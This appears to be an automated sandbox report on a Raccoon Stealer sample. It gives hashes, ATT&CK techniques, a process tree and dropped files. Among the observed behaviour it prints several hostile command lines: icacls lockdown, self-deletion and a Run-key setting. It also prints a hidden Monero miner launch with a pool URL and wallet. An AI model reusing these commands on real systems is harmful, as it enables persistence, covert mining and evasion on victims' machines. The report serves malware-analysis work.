raccoon | e52a74fb629774299e5a859574746b2fc1041f1b1282c5fa486a824551098468

Analysis

max time kernel
152s
max time network
140s
platform
windows7_x64
resource
win7v20201028
submitted
06-11-2020 10:42

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

e52a74fb629774299e5a859574746b2fc1041f1b1282c5fa486a824551098468.exe
Size

5.4MB
MD5

583887cee4177d59e84674f832cd504f
SHA1

15706ad30a48d0bc66a2b91367c0d4eeb877c375
SHA256

e52a74fb629774299e5a859574746b2fc1041f1b1282c5fa486a824551098468
SHA512

844cba185a146883c75d14894ec74dd912a38c499df6250d88ce1385f554170a13c0feb1071205a9499777130b440e277663e2e11a0da1fe1cfab90ef86b3175

Score

10^/10

raccoon discovery evasion persistence ransomware spyware stealer trojan

Malware Config

Extracted

Path

C:\Users\Admin\AppData\LocalLow\machineinfo.txt

Family

raccoon

Ransom Note

[Raccoon Stealer] - v1.5.13-af-hotfix Release Build compiled on Mon Jul 6 14:33:02 2020 Launched at: 2020.11.06 - 12:03:30 GMT Bot_ID: D7DAE845-49C4-4AF3-A732-9D0F27F7CCD4_Admin Running on a desktop =R=A=C=C=O=O=N= - Cookies: 0 - Passwords: 0 - Files: 0 System Information: - System Language: English - System TimeZone: -0 hrs - IP: 154.61.71.13 - Location: 37.750999, -97.821999 | ?, ?, United States (?) - ComputerName: TUICJFPF - Username: Admin - Windows version: NT 6.1 - Product name: Windows 7 Professional - System arch: x64 - CPU: Persocon Processor 2.5+ (2 cores) - RAM: 2047 MB (421 MB used) - Screen resolution: 1280x720 - Display devices: 0) Standard VGA Graphics Adapter ============

Signatures

Raccoon
Simple but powerful infostealer which was very active in 2019.
stealer raccoon
Raccoon log file 1 IoCs
Detects a log file produced by the Raccoon Stealer.

Processes:

yara_rule

raccoon_log_file
Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs
evasion

Query Registry
T1012

Virtualization/Sandbox Evasion
T1497

yara_rule
raccoon_log_file

Executes dropped EXE 8 IoCs

Processes:

nBSInZniFN.exemtHW7CPZSz.exewrshost.exenBSInZniFN.exelibmfxsw32.exelibmfxsw32.exelibmfxsw32.exelibmfxsw32.exe

pid	process
1800	nBSInZniFN.exe
1948	mtHW7CPZSz.exe
1540	wrshost.exe
1236	nBSInZniFN.exe
1480	libmfxsw32.exe
2016	libmfxsw32.exe
1636	libmfxsw32.exe
1576	libmfxsw32.exe

Checks BIOS information in registry 2 TTPs 2 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

e52a74fb629774299e5a859574746b2fc1041f1b1282c5fa486a824551098468.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	e52a74fb629774299e5a859574746b2fc1041f1b1282c5fa486a824551098468.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	e52a74fb629774299e5a859574746b2fc1041f1b1282c5fa486a824551098468.exe

Deletes itself 1 IoCs

Processes:

cmd.exe

pid process

1524 cmd.exe

pid	process
1524	cmd.exe

Loads dropped DLL 14 IoCs

Processes:

e52a74fb629774299e5a859574746b2fc1041f1b1282c5fa486a824551098468.exee52a74fb629774299e5a859574746b2fc1041f1b1282c5fa486a824551098468.exenBSInZniFN.exemtHW7CPZSz.exe

pid	process
1004	e52a74fb629774299e5a859574746b2fc1041f1b1282c5fa486a824551098468.exe
1004	e52a74fb629774299e5a859574746b2fc1041f1b1282c5fa486a824551098468.exe
1712	e52a74fb629774299e5a859574746b2fc1041f1b1282c5fa486a824551098468.exe
1712	e52a74fb629774299e5a859574746b2fc1041f1b1282c5fa486a824551098468.exe
1712	e52a74fb629774299e5a859574746b2fc1041f1b1282c5fa486a824551098468.exe
1712	e52a74fb629774299e5a859574746b2fc1041f1b1282c5fa486a824551098468.exe
1712	e52a74fb629774299e5a859574746b2fc1041f1b1282c5fa486a824551098468.exe
1712	e52a74fb629774299e5a859574746b2fc1041f1b1282c5fa486a824551098468.exe
1712	e52a74fb629774299e5a859574746b2fc1041f1b1282c5fa486a824551098468.exe
1712	e52a74fb629774299e5a859574746b2fc1041f1b1282c5fa486a824551098468.exe
1712	e52a74fb629774299e5a859574746b2fc1041f1b1282c5fa486a824551098468.exe
1712	e52a74fb629774299e5a859574746b2fc1041f1b1282c5fa486a824551098468.exe
1800	nBSInZniFN.exe
1948	mtHW7CPZSz.exe

Modifies file permissions 1 TTPs 3 IoCs
discovery

File and Directory Permissions Modification
T1222

Processes:

icacls.exeicacls.exeicacls.exe

pid process

2036 icacls.exe
1004 icacls.exe
1888 icacls.exe
Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
spyware

Data from Local System
T1005

Credentials in Files
T1081
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware

Data from Local System
T1005

Credentials in Files
T1081

pid	process
2036	icacls.exe
1004	icacls.exe
1888	icacls.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

Processes:

mtHW7CPZSz.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Windows\CurrentVersion\Run\wrshost.exe = "C:\\Users\\Admin\\AppData\\Local\\Temp\\wrshost.exe"	mtHW7CPZSz.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Checks whether UAC is enabled 1 TTPs 1 IoCs

evasion trojan

System Information Discovery

T1082

Processes:

e52a74fb629774299e5a859574746b2fc1041f1b1282c5fa486a824551098468.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	e52a74fb629774299e5a859574746b2fc1041f1b1282c5fa486a824551098468.exe

JavaScript code in executable 1 IoCs

Processes:

resource	yara_rule
\Users\Admin\AppData\LocalLow\3098htrhpen8ifg0\nss3.dll	js

Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102

Suspicious use of SetThreadContext 5 IoCs

Processes:

e52a74fb629774299e5a859574746b2fc1041f1b1282c5fa486a824551098468.exenBSInZniFN.exewrshost.exelibmfxsw32.exelibmfxsw32.exe

description	pid	process	target process
PID 1004 set thread context of 1712	1004	e52a74fb629774299e5a859574746b2fc1041f1b1282c5fa486a824551098468.exe	e52a74fb629774299e5a859574746b2fc1041f1b1282c5fa486a824551098468.exe
PID 1800 set thread context of 1236	1800	nBSInZniFN.exe	nBSInZniFN.exe
PID 1540 set thread context of 1600	1540	wrshost.exe	explorer.exe
PID 2016 set thread context of 1636	2016	libmfxsw32.exe	libmfxsw32.exe
PID 1480 set thread context of 1576	1480	libmfxsw32.exe	libmfxsw32.exe

Delays execution with timeout.exe 1 IoCs
evasion

Processes:

timeout.exe

pid process

1660 timeout.exe

pid	process
1660	timeout.exe

Modifies system certificate store 2 TTPs 2 IoCs

evasion spyware trojan

Install Root Certificate

T1130

Modify Registry

T1112

Processes:

e52a74fb629774299e5a859574746b2fc1041f1b1282c5fa486a824551098468.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DAC9024F54D8F6DF94935FB1732638CA6AD77C13	e52a74fb629774299e5a859574746b2fc1041f1b1282c5fa486a824551098468.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DAC9024F54D8F6DF94935FB1732638CA6AD77C13\Blob = 040000000100000010000000410352dc0ff7501b16f0028eba6f45c50f00000001000000140000005bcaa1c2780f0bcb5a90770451d96f38963f012d0b000000010000001e000000440053005400200052006f006f0074002000430041002000580033000000090000000100000016000000301406082b0601050507030406082b06010505070301140000000100000014000000c4a7b1a47b2c71fadbe14b9075ffc415608589101d00000001000000100000004558d512eecb27464920897de7b66053030000000100000014000000dac9024f54d8f6df94935fb1732638ca6ad77c131900000001000000100000006cf252fec3e8f20996de5d4dd9aef42420000000010000004e0300003082034a30820232a003020102021044afb080d6a327ba893039862ef8406b300d06092a864886f70d0101050500303f31243022060355040a131b4469676974616c205369676e617475726520547275737420436f2e311730150603550403130e44535420526f6f74204341205833301e170d3030303933303231313231395a170d3231303933303134303131355a303f31243022060355040a131b4469676974616c205369676e617475726520547275737420436f2e311730150603550403130e44535420526f6f7420434120583330820122300d06092a864886f70d01010105000382010f003082010a0282010100dfafe99750088357b4cc6265f69082ecc7d32c6b30ca5becd9c37dc740c118148be0e83376492ae33f214993ac4e0eaf3e48cb65eefcd3210f65d22ad9328f8ce5f777b0127bb595c089a3a9baed732e7a0c063283a27e8a1430cd11a0e12a38b9790a31fd50bd8065dfb7516383c8e28861ea4b6181ec526bb9a2e24b1a289f48a39e0cda098e3e172e1edd20df5bc62a8aab2ebd70adc50b1a25907472c57b6aab34d63089ffe568137b540bc8d6aeec5a9c921e3d64b38cc6dfbfc94170ec1672d526ec38553943d0fcfd185c40f197ebd59a9b8d1dbada25b9c6d8dfc115023aabda6ef13e2ef55c089c3cd68369e4109b192ab62957e3e53d9b9ff0025d0203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020106301d0603551d0e04160414c4a7b1a47b2c71fadbe14b9075ffc41560858910300d06092a864886f70d01010505000382010100a31a2c9b17005ca91eee2866373abf83c73f4bc309a095205de3d95944d23e0d3ebd8a4ba0741fce10829c741a1d7e981addcb134bb32044e491e9ccfc7da5db6ae5fee6fde04eddb7003ab57049aff2e5eb02f1d1028b19cb943a5e48c4181e58195f1e025af00cf1b1ada9dc59868b6ee991f586cafab96633aa595bcee2a7167347cb2bcc99b03748cfe3564bf5cf0f0c723287c6f044bb53726d43f526489a5267b758abfe67767178db0da256141339243185a2a8025a3047e1dd5007bc02099000eb6463609b16bc88c912e6d27d918bf93d328d65b4e97cb15776eac5b62839bf15651cc8f677966a0a8d770bd8910b048e07db29b60aee9d82353510	e52a74fb629774299e5a859574746b2fc1041f1b1282c5fa486a824551098468.exe

Suspicious behavior: EnumeratesProcesses 5 IoCs

Processes:

e52a74fb629774299e5a859574746b2fc1041f1b1282c5fa486a824551098468.exenBSInZniFN.exemtHW7CPZSz.exelibmfxsw32.exelibmfxsw32.exe

pid	process
1004	e52a74fb629774299e5a859574746b2fc1041f1b1282c5fa486a824551098468.exe
1800	nBSInZniFN.exe
1948	mtHW7CPZSz.exe
2016	libmfxsw32.exe
1480	libmfxsw32.exe

Suspicious use of AdjustPrivilegeToken 8 IoCs

Processes:

e52a74fb629774299e5a859574746b2fc1041f1b1282c5fa486a824551098468.exenBSInZniFN.exemtHW7CPZSz.exewrshost.exelibmfxsw32.exelibmfxsw32.exeexplorer.exe

description	pid	process
Token: SeDebugPrivilege	1004	e52a74fb629774299e5a859574746b2fc1041f1b1282c5fa486a824551098468.exe
Token: SeDebugPrivilege	1800	nBSInZniFN.exe
Token: SeDebugPrivilege	1948	mtHW7CPZSz.exe
Token: SeDebugPrivilege	1540	wrshost.exe
Token: SeDebugPrivilege	2016	libmfxsw32.exe
Token: SeDebugPrivilege	1480	libmfxsw32.exe
Token: SeLockMemoryPrivilege	1600	explorer.exe
Token: SeLockMemoryPrivilege	1600	explorer.exe

Suspicious use of WriteProcessMemory 102 IoCs

Processes:

e52a74fb629774299e5a859574746b2fc1041f1b1282c5fa486a824551098468.exee52a74fb629774299e5a859574746b2fc1041f1b1282c5fa486a824551098468.execmd.exenBSInZniFN.exemtHW7CPZSz.exenBSInZniFN.execmd.exetaskeng.exe

description	pid	process	target process
PID 1004 wrote to memory of 1712	1004	e52a74fb629774299e5a859574746b2fc1041f1b1282c5fa486a824551098468.exe	e52a74fb629774299e5a859574746b2fc1041f1b1282c5fa486a824551098468.exe
PID 1004 wrote to memory of 1712	1004	e52a74fb629774299e5a859574746b2fc1041f1b1282c5fa486a824551098468.exe	e52a74fb629774299e5a859574746b2fc1041f1b1282c5fa486a824551098468.exe
PID 1004 wrote to memory of 1712	1004	e52a74fb629774299e5a859574746b2fc1041f1b1282c5fa486a824551098468.exe	e52a74fb629774299e5a859574746b2fc1041f1b1282c5fa486a824551098468.exe
PID 1004 wrote to memory of 1712	1004	e52a74fb629774299e5a859574746b2fc1041f1b1282c5fa486a824551098468.exe	e52a74fb629774299e5a859574746b2fc1041f1b1282c5fa486a824551098468.exe
PID 1004 wrote to memory of 1712	1004	e52a74fb629774299e5a859574746b2fc1041f1b1282c5fa486a824551098468.exe	e52a74fb629774299e5a859574746b2fc1041f1b1282c5fa486a824551098468.exe
PID 1004 wrote to memory of 1712	1004	e52a74fb629774299e5a859574746b2fc1041f1b1282c5fa486a824551098468.exe	e52a74fb629774299e5a859574746b2fc1041f1b1282c5fa486a824551098468.exe
PID 1004 wrote to memory of 1712	1004	e52a74fb629774299e5a859574746b2fc1041f1b1282c5fa486a824551098468.exe	e52a74fb629774299e5a859574746b2fc1041f1b1282c5fa486a824551098468.exe
PID 1004 wrote to memory of 1712	1004	e52a74fb629774299e5a859574746b2fc1041f1b1282c5fa486a824551098468.exe	e52a74fb629774299e5a859574746b2fc1041f1b1282c5fa486a824551098468.exe
PID 1004 wrote to memory of 1712	1004	e52a74fb629774299e5a859574746b2fc1041f1b1282c5fa486a824551098468.exe	e52a74fb629774299e5a859574746b2fc1041f1b1282c5fa486a824551098468.exe
PID 1004 wrote to memory of 1712	1004	e52a74fb629774299e5a859574746b2fc1041f1b1282c5fa486a824551098468.exe	e52a74fb629774299e5a859574746b2fc1041f1b1282c5fa486a824551098468.exe
PID 1712 wrote to memory of 1800	1712	e52a74fb629774299e5a859574746b2fc1041f1b1282c5fa486a824551098468.exe	nBSInZniFN.exe
PID 1712 wrote to memory of 1800	1712	e52a74fb629774299e5a859574746b2fc1041f1b1282c5fa486a824551098468.exe	nBSInZniFN.exe
PID 1712 wrote to memory of 1800	1712	e52a74fb629774299e5a859574746b2fc1041f1b1282c5fa486a824551098468.exe	nBSInZniFN.exe
PID 1712 wrote to memory of 1800	1712	e52a74fb629774299e5a859574746b2fc1041f1b1282c5fa486a824551098468.exe	nBSInZniFN.exe
PID 1712 wrote to memory of 1948	1712	e52a74fb629774299e5a859574746b2fc1041f1b1282c5fa486a824551098468.exe	mtHW7CPZSz.exe
PID 1712 wrote to memory of 1948	1712	e52a74fb629774299e5a859574746b2fc1041f1b1282c5fa486a824551098468.exe	mtHW7CPZSz.exe
PID 1712 wrote to memory of 1948	1712	e52a74fb629774299e5a859574746b2fc1041f1b1282c5fa486a824551098468.exe	mtHW7CPZSz.exe
PID 1712 wrote to memory of 1948	1712	e52a74fb629774299e5a859574746b2fc1041f1b1282c5fa486a824551098468.exe	mtHW7CPZSz.exe
PID 1712 wrote to memory of 1524	1712	e52a74fb629774299e5a859574746b2fc1041f1b1282c5fa486a824551098468.exe	cmd.exe
PID 1712 wrote to memory of 1524	1712	e52a74fb629774299e5a859574746b2fc1041f1b1282c5fa486a824551098468.exe	cmd.exe
PID 1712 wrote to memory of 1524	1712	e52a74fb629774299e5a859574746b2fc1041f1b1282c5fa486a824551098468.exe	cmd.exe
PID 1712 wrote to memory of 1524	1712	e52a74fb629774299e5a859574746b2fc1041f1b1282c5fa486a824551098468.exe	cmd.exe
PID 1524 wrote to memory of 1660	1524	cmd.exe	timeout.exe
PID 1524 wrote to memory of 1660	1524	cmd.exe	timeout.exe
PID 1524 wrote to memory of 1660	1524	cmd.exe	timeout.exe
PID 1524 wrote to memory of 1660	1524	cmd.exe	timeout.exe
PID 1800 wrote to memory of 1236	1800	nBSInZniFN.exe	nBSInZniFN.exe
PID 1800 wrote to memory of 1236	1800	nBSInZniFN.exe	nBSInZniFN.exe
PID 1800 wrote to memory of 1236	1800	nBSInZniFN.exe	nBSInZniFN.exe
PID 1800 wrote to memory of 1236	1800	nBSInZniFN.exe	nBSInZniFN.exe
PID 1800 wrote to memory of 1236	1800	nBSInZniFN.exe	nBSInZniFN.exe
PID 1800 wrote to memory of 1236	1800	nBSInZniFN.exe	nBSInZniFN.exe
PID 1800 wrote to memory of 1236	1800	nBSInZniFN.exe	nBSInZniFN.exe
PID 1800 wrote to memory of 1236	1800	nBSInZniFN.exe	nBSInZniFN.exe
PID 1800 wrote to memory of 1236	1800	nBSInZniFN.exe	nBSInZniFN.exe
PID 1800 wrote to memory of 1236	1800	nBSInZniFN.exe	nBSInZniFN.exe
PID 1800 wrote to memory of 1236	1800	nBSInZniFN.exe	nBSInZniFN.exe
PID 1948 wrote to memory of 1540	1948	mtHW7CPZSz.exe	wrshost.exe
PID 1948 wrote to memory of 1540	1948	mtHW7CPZSz.exe	wrshost.exe
PID 1948 wrote to memory of 1540	1948	mtHW7CPZSz.exe	wrshost.exe
PID 1236 wrote to memory of 1268	1236	nBSInZniFN.exe	cmd.exe
PID 1236 wrote to memory of 1268	1236	nBSInZniFN.exe	cmd.exe
PID 1236 wrote to memory of 1268	1236	nBSInZniFN.exe	cmd.exe
PID 1236 wrote to memory of 1268	1236	nBSInZniFN.exe	cmd.exe
PID 1268 wrote to memory of 2036	1268	cmd.exe	icacls.exe
PID 1268 wrote to memory of 2036	1268	cmd.exe	icacls.exe
PID 1268 wrote to memory of 2036	1268	cmd.exe	icacls.exe
PID 1268 wrote to memory of 2036	1268	cmd.exe	icacls.exe
PID 1268 wrote to memory of 1004	1268	cmd.exe	icacls.exe
PID 1268 wrote to memory of 1004	1268	cmd.exe	icacls.exe
PID 1268 wrote to memory of 1004	1268	cmd.exe	icacls.exe
PID 1268 wrote to memory of 1004	1268	cmd.exe	icacls.exe
PID 1268 wrote to memory of 1888	1268	cmd.exe	icacls.exe
PID 1268 wrote to memory of 1888	1268	cmd.exe	icacls.exe
PID 1268 wrote to memory of 1888	1268	cmd.exe	icacls.exe
PID 1268 wrote to memory of 1888	1268	cmd.exe	icacls.exe
PID 1668 wrote to memory of 1480	1668	taskeng.exe	libmfxsw32.exe
PID 1668 wrote to memory of 1480	1668	taskeng.exe	libmfxsw32.exe
PID 1668 wrote to memory of 1480	1668	taskeng.exe	libmfxsw32.exe
PID 1668 wrote to memory of 1480	1668	taskeng.exe	libmfxsw32.exe
PID 1668 wrote to memory of 2016	1668	taskeng.exe	libmfxsw32.exe
PID 1668 wrote to memory of 2016	1668	taskeng.exe	libmfxsw32.exe
PID 1668 wrote to memory of 2016	1668	taskeng.exe	libmfxsw32.exe
PID 1668 wrote to memory of 2016	1668	taskeng.exe	libmfxsw32.exe

C:\Users\Admin\AppData\Local\Temp\e52a74fb629774299e5a859574746b2fc1041f1b1282c5fa486a824551098468.exe
"C:\Users\Admin\AppData\Local\Temp\e52a74fb629774299e5a859574746b2fc1041f1b1282c5fa486a824551098468.exe"
1⤵
- Checks BIOS information in registry
- Loads dropped DLL
- Checks whether UAC is enabled
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1004

C:\Users\Admin\AppData\Local\Temp\e52a74fb629774299e5a859574746b2fc1041f1b1282c5fa486a824551098468.exe
"C:\Users\Admin\AppData\Local\Temp\e52a74fb629774299e5a859574746b2fc1041f1b1282c5fa486a824551098468.exe"
2⤵
- Loads dropped DLL
- Modifies system certificate store
- Suspicious use of WriteProcessMemory
PID:1712

C:\Users\Admin\AppData\Local\Temp\nBSInZniFN.exe
"C:\Users\Admin\AppData\Local\Temp\nBSInZniFN.exe"
3⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1800

C:\Users\Admin\AppData\Local\Temp\nBSInZniFN.exe
"C:\Users\Admin\AppData\Local\Temp\nBSInZniFN.exe"
4⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:1236

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c icacls "C:\Users\Admin\AppData\Roaming\Mxmetamux" /inheritance:e /deny "*S-1-1-0:(R,REA,RA,RD)" & icacls "C:\Users\Admin\AppData\Roaming\Mxmetamux" /inheritance:e /deny "*S-1-5-7:(R,REA,RA,RD)" & icacls "C:\Users\Admin\AppData\Roaming\Mxmetamux" /inheritance:e /deny "Admin:(R,REA,RA,RD)"
5⤵
- Suspicious use of WriteProcessMemory
PID:1268

C:\Windows\SysWOW64\icacls.exe
icacls "C:\Users\Admin\AppData\Roaming\Mxmetamux" /inheritance:e /deny "*S-1-1-0:(R,REA,RA,RD)"
6⤵
- Modifies file permissions
PID:2036

C:\Windows\SysWOW64\icacls.exe
icacls "C:\Users\Admin\AppData\Roaming\Mxmetamux" /inheritance:e /deny "*S-1-5-7:(R,REA,RA,RD)"
6⤵
- Modifies file permissions
PID:1004

C:\Windows\SysWOW64\icacls.exe
icacls "C:\Users\Admin\AppData\Roaming\Mxmetamux" /inheritance:e /deny "Admin:(R,REA,RA,RD)"
6⤵
- Modifies file permissions
PID:1888

C:\Users\Admin\AppData\Local\Temp\mtHW7CPZSz.exe
"C:\Users\Admin\AppData\Local\Temp\mtHW7CPZSz.exe"
3⤵
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1948

C:\Users\Admin\AppData\Local\Temp\wrshost.exe
"C:\Users\Admin\AppData\Local\Temp\wrshost.exe"
4⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of AdjustPrivilegeToken
PID:1540

C:\Windows\explorer.exe
C:\Windows\explorer.exe -B --coin=monero --url=xmr-eu2.nanopool.org:14444 --user=451bM2BfeRfPhiW7HEmYLxgH1WsFGWiNcJNAScHBZM4FdRcDnT42UNsLTPoC8By4PY4Yf8xrCqs4US7sFu2rYgsgDh67kDe --pass= --cpu-max-threads-hint=50 --donate-level=4
5⤵
- Suspicious use of AdjustPrivilegeToken
PID:1600

C:\Windows\SysWOW64\cmd.exe
cmd.exe /C timeout /T 10 /NOBREAK > Nul & Del /f /q "C:\Users\Admin\AppData\Local\Temp\e52a74fb629774299e5a859574746b2fc1041f1b1282c5fa486a824551098468.exe"
3⤵
- Deletes itself
- Suspicious use of WriteProcessMemory
PID:1524

C:\Windows\SysWOW64\timeout.exe
timeout /T 10 /NOBREAK
4⤵
- Delays execution with timeout.exe
PID:1660

C:\Windows\system32\taskeng.exe
taskeng.exe {A95F4B51-A852-4720-A48E-274010DBD4EB} S-1-5-21-293278959-2699126792-324916226-1000:TUICJFPF\Admin:Interactive:[1]
1⤵
- Suspicious use of WriteProcessMemory
PID:1668

C:\Users\Admin\AppData\Roaming\Mxmetamux\libmfxsw32.exe
C:\Users\Admin\AppData\Roaming\Mxmetamux\libmfxsw32.exe
2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1480

C:\Users\Admin\AppData\Roaming\Mxmetamux\libmfxsw32.exe
"C:\Users\Admin\AppData\Roaming\Mxmetamux\libmfxsw32.exe"
3⤵
- Executes dropped EXE
PID:1576

C:\Users\Admin\AppData\Roaming\Mxmetamux\libmfxsw32.exe
C:\Users\Admin\AppData\Roaming\Mxmetamux\libmfxsw32.exe
2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2016

C:\Users\Admin\AppData\Roaming\Mxmetamux\libmfxsw32.exe
"C:\Users\Admin\AppData\Roaming\Mxmetamux\libmfxsw32.exe"
3⤵
- Executes dropped EXE
PID:1636

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Install Root Certificate

T1130

Modify Registry

T1112

Virtualization/Sandbox Evasion

T1497

Web Service

T1102

Credential Access

Credentials in Files

T1081

Discovery

Query Registry

T1012

System Information Discovery

T1082

Virtualization/Sandbox Evasion

T1497

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015
MD5
995333c942773b1893c3fab55ef5b47e

SHA1
237faf00e7173aea01a7766b8841a1a89af5774a

SHA256
592b4e8a13e361c102654230311c9b6c2af8ee1498f55e546fdc1bbfef574c78

SHA512
584ddb6bf928084fe4750ed781b4487139797d89ba73427304325bf7bcbdfd327dc47c9a5ac3c90738bb093874fd9409775b3a53d5301310dbf9b321c35932b9

Download Submit
C:\Users\Admin\AppData\Local\Temp\mtHW7CPZSz.exe
MD5
e4af65926953c2d5d2ed805f024687bc

SHA1
bdb1de70cac2902e38c2500372c25223e31482ce

SHA256
b2892c256c19c2a1b5b02bddb53fdd719690773719ae5181d9112b82029bea76

SHA512
1b4b7bd0b810af9f7d189b810e116f477a019b076d506bc808a62e7facba1475dfae5a771c5306b4a41a8590a9fa47db1e2f7a928a09ccc18b3cdb66019a30f4

Download Submit
C:\Users\Admin\AppData\Local\Temp\mtHW7CPZSz.exe
MD5
e4af65926953c2d5d2ed805f024687bc

SHA1
bdb1de70cac2902e38c2500372c25223e31482ce

SHA256
b2892c256c19c2a1b5b02bddb53fdd719690773719ae5181d9112b82029bea76

SHA512
1b4b7bd0b810af9f7d189b810e116f477a019b076d506bc808a62e7facba1475dfae5a771c5306b4a41a8590a9fa47db1e2f7a928a09ccc18b3cdb66019a30f4

Download Submit
C:\Users\Admin\AppData\Local\Temp\nBSInZniFN.exe
MD5
cc4398466ab38d8faf55081e0867310a

SHA1
14896f92f6f975ff7d5e08a3fbfeb4d611d72eb2

SHA256
6f3679ee4c7066f2a997507546a7cadc388b7201e62f8ff3614de5efbe13139e

SHA512
d8cd269ad99541f037a383dbf1b31c7c3e2ec53cfceb3ad51f436984896f6fd1871d532c9e43348aef62d97d5bfe62f58ecbc230a9776af38d7bece4bf2980b7

Download Submit
C:\Users\Admin\AppData\Local\Temp\nBSInZniFN.exe
MD5
cc4398466ab38d8faf55081e0867310a

SHA1
14896f92f6f975ff7d5e08a3fbfeb4d611d72eb2

SHA256
6f3679ee4c7066f2a997507546a7cadc388b7201e62f8ff3614de5efbe13139e

SHA512
d8cd269ad99541f037a383dbf1b31c7c3e2ec53cfceb3ad51f436984896f6fd1871d532c9e43348aef62d97d5bfe62f58ecbc230a9776af38d7bece4bf2980b7

Download Submit
C:\Users\Admin\AppData\Local\Temp\nBSInZniFN.exe
MD5
cc4398466ab38d8faf55081e0867310a

SHA1
14896f92f6f975ff7d5e08a3fbfeb4d611d72eb2

SHA256
6f3679ee4c7066f2a997507546a7cadc388b7201e62f8ff3614de5efbe13139e

SHA512
d8cd269ad99541f037a383dbf1b31c7c3e2ec53cfceb3ad51f436984896f6fd1871d532c9e43348aef62d97d5bfe62f58ecbc230a9776af38d7bece4bf2980b7

Download Submit
C:\Users\Admin\AppData\Local\Temp\wrshost.exe
MD5
e4af65926953c2d5d2ed805f024687bc

SHA1
bdb1de70cac2902e38c2500372c25223e31482ce

SHA256
b2892c256c19c2a1b5b02bddb53fdd719690773719ae5181d9112b82029bea76

SHA512
1b4b7bd0b810af9f7d189b810e116f477a019b076d506bc808a62e7facba1475dfae5a771c5306b4a41a8590a9fa47db1e2f7a928a09ccc18b3cdb66019a30f4

Download Submit
C:\Users\Admin\AppData\Local\Temp\wrshost.exe
MD5
e4af65926953c2d5d2ed805f024687bc

SHA1
bdb1de70cac2902e38c2500372c25223e31482ce

SHA256
b2892c256c19c2a1b5b02bddb53fdd719690773719ae5181d9112b82029bea76

SHA512
1b4b7bd0b810af9f7d189b810e116f477a019b076d506bc808a62e7facba1475dfae5a771c5306b4a41a8590a9fa47db1e2f7a928a09ccc18b3cdb66019a30f4

Download Submit
C:\Users\Admin\AppData\Roaming\Mxmetamux\libmfxsw32.exe
MD5
cc4398466ab38d8faf55081e0867310a

SHA1
14896f92f6f975ff7d5e08a3fbfeb4d611d72eb2

SHA256
6f3679ee4c7066f2a997507546a7cadc388b7201e62f8ff3614de5efbe13139e

SHA512
d8cd269ad99541f037a383dbf1b31c7c3e2ec53cfceb3ad51f436984896f6fd1871d532c9e43348aef62d97d5bfe62f58ecbc230a9776af38d7bece4bf2980b7

Download Submit
C:\Users\Admin\AppData\Roaming\Mxmetamux\libmfxsw32.exe
MD5
cc4398466ab38d8faf55081e0867310a

SHA1
14896f92f6f975ff7d5e08a3fbfeb4d611d72eb2

SHA256
6f3679ee4c7066f2a997507546a7cadc388b7201e62f8ff3614de5efbe13139e

SHA512
d8cd269ad99541f037a383dbf1b31c7c3e2ec53cfceb3ad51f436984896f6fd1871d532c9e43348aef62d97d5bfe62f58ecbc230a9776af38d7bece4bf2980b7

Download Submit
C:\Users\Admin\AppData\Roaming\Mxmetamux\libmfxsw32.exe
MD5
cc4398466ab38d8faf55081e0867310a

SHA1
14896f92f6f975ff7d5e08a3fbfeb4d611d72eb2

SHA256
6f3679ee4c7066f2a997507546a7cadc388b7201e62f8ff3614de5efbe13139e

SHA512
d8cd269ad99541f037a383dbf1b31c7c3e2ec53cfceb3ad51f436984896f6fd1871d532c9e43348aef62d97d5bfe62f58ecbc230a9776af38d7bece4bf2980b7

Download Submit
C:\Users\Admin\AppData\Roaming\Mxmetamux\libmfxsw32.exe
MD5
cc4398466ab38d8faf55081e0867310a

SHA1
14896f92f6f975ff7d5e08a3fbfeb4d611d72eb2

